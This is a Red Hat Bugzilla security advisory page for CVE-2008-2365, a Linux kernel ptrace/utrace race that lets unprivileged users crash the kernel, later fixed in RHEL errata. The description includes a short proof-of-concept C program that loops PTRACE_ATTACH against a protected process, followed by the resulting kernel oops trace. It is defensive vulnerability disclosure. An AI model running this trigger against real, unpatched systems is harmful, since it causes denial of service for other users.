Bug 449359 (CVE-2008-2365) - CVE-2008-2365 kernel: ptrace: Crash on PTRACE_{ATTACH,DETACH} race
Summary: CVE-2008-2365 kernel: ptrace: Crash on PTRACE_{ATTACH,DETACH} race
Alias: CVE-2008-2365
Product: Security Response
Classification: Other
Component: vulnerability
Version: unspecified
Hardware: All
OS: Linux
Target Milestone: ---
Assignee: Red Hat Product Security
QA Contact:
Depends On: 245735 311931 449294 449361
TreeView+ depends on / blocked
Reported: 2008-06-02 12:13 UTC by Jan Lieskovsky
Modified: 2019-09-29 12:24 UTC (History)
8 users (show)

Fixed In Version:
Doc Type: Bug Fix
Doc Text:
Clone Of:
Last Closed: 2010-12-21 17:18:27 UTC

Attachments (Terms of Use)

System ID Private Priority Status Summary Last Updated
Red Hat Product Errata RHSA-2008:0508 0 normal SHIPPED_LIVE Important: kernel security and bug fix update 2008-06-25 15:18:03 UTC

Description Jan Lieskovsky 2008-06-02 12:13:55 UTC
Description of problem:

Alexei Dobryanov has reported the following kernel utrace related issue

1. late ptrace_may_attach() check

   static int ptrace_attach(struct task_struct *task)
        engine = utrace_attach(task, (UTRACE_ATTACH_CREATE
                                      | UTRACE_ATTACH_EXCLUSIVE
                                      | UTRACE_ATTACH_MATCH_OPS),
                               &ptrace_utrace_ops, 0);
        [error checking]
        if (ptrace_may_attach(task)) {
                [more attaching process]

   Doing may attach check there is asking for trouble, because utrace_attach()
   will happily create and modify "struct utrace *" and create and attach
   engines to it on task you don't have permissions. Order should be reverted.
   That's easy.

2. race around &dead_engine_ops setting...

   I originally thought #1 would lead to memory leaks, however, written dumb
   PTRACE_ATTACH'er gave much more amazing results.

   The following program quickly (1 sec) oopses kernel when run against
   process you normally can't attach to (like normal user to getty processes)

#include <stdlib.h>
#include <sys/ptrace.h>

int main(int argc, char *argv[])
	pid_t pid = atoi(argv[1]);

	while (1)
		ptrace(PTRACE_ATTACH, pid, NULL, NULL);

	return 0;

Unable to handle kernel NULL pointer dereference at 0000000000000000 RIP:
 [<ffffffff8005f1cd>] report_quiescent+0x36/0x154
 [<ffffffff8005f316>] utrace_quiescent+0x2b/0x238
 [<ffffffff800601e9>] utrace_get_signal+0x45d/0x4c0
 [<ffffffff80039c6f>] get_signal_to_deliver+0x169/0x47a
 [<ffffffff80008f5a>] do_notify_resume+0xd0/0x7e2
 [<ffffffff80203673>] _spin_unlock_irqrestore+0x3f/0x45
 [<ffffffff80051d71>] trace_hardirqs_on+0x11b/0x13f
 [<ffffffff801400c0>] tty_read+0x81/0xc7
 [<ffffffff80202ede>] trace_hardirqs_on_thunk+0x35/0x37
 [<ffffffff80051d71>] trace_hardirqs_on+0x11b/0x13f
 [<ffffffff80009b43>] sysret_signal+0x21/0x31
 [<ffffffff80009deb>] ptregscall_common+0x67/0xac

   This is a race we chatted with Roland about:

> engine's flags and ops settings in utrace_detach() and acting on them in
> report_quiescent():

> utrace_detach()			report_quiescent()
> ---------------			------------------
> [utrace lock held]			[utrace lock is not held]

> engine->flags =

>				if (engine->flags & UTRACE_EVENT(QUIESCE))
>					REPORT(report_quiesce);

> rcu_assign_pointer(engine->ops, &dead_engine_ops);

> At the moment of REPORT call engine's ops are still "live" ptrace ops
> which do not have ->report_quiesce callback. So, there will oops while
> calling function at NULL address. "Dead" ptrace engine ops do have dummy
> callback but it wasn't yet glued.

   Obviously, patch #1 won't fix this.

3. Looks like nobody filed double free at utrace aka
   oops at __rcu_process_callbacks() against RHEL5 kernel.

   It's bug https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=207002
   against FC6, but, hey, every utrace version has it. Test program attached.
   Every user can trigger it.

Comment 8 Vincent Danen 2010-12-21 17:18:27 UTC
This was addressed via:

Red Hat Enterprise Linux version 5 (RHBA-2008:0314)
Red Hat Enterprise Linux version 4 (RHSA-2008:0508)

Note You need to log in before you can comment on or make changes to this bug.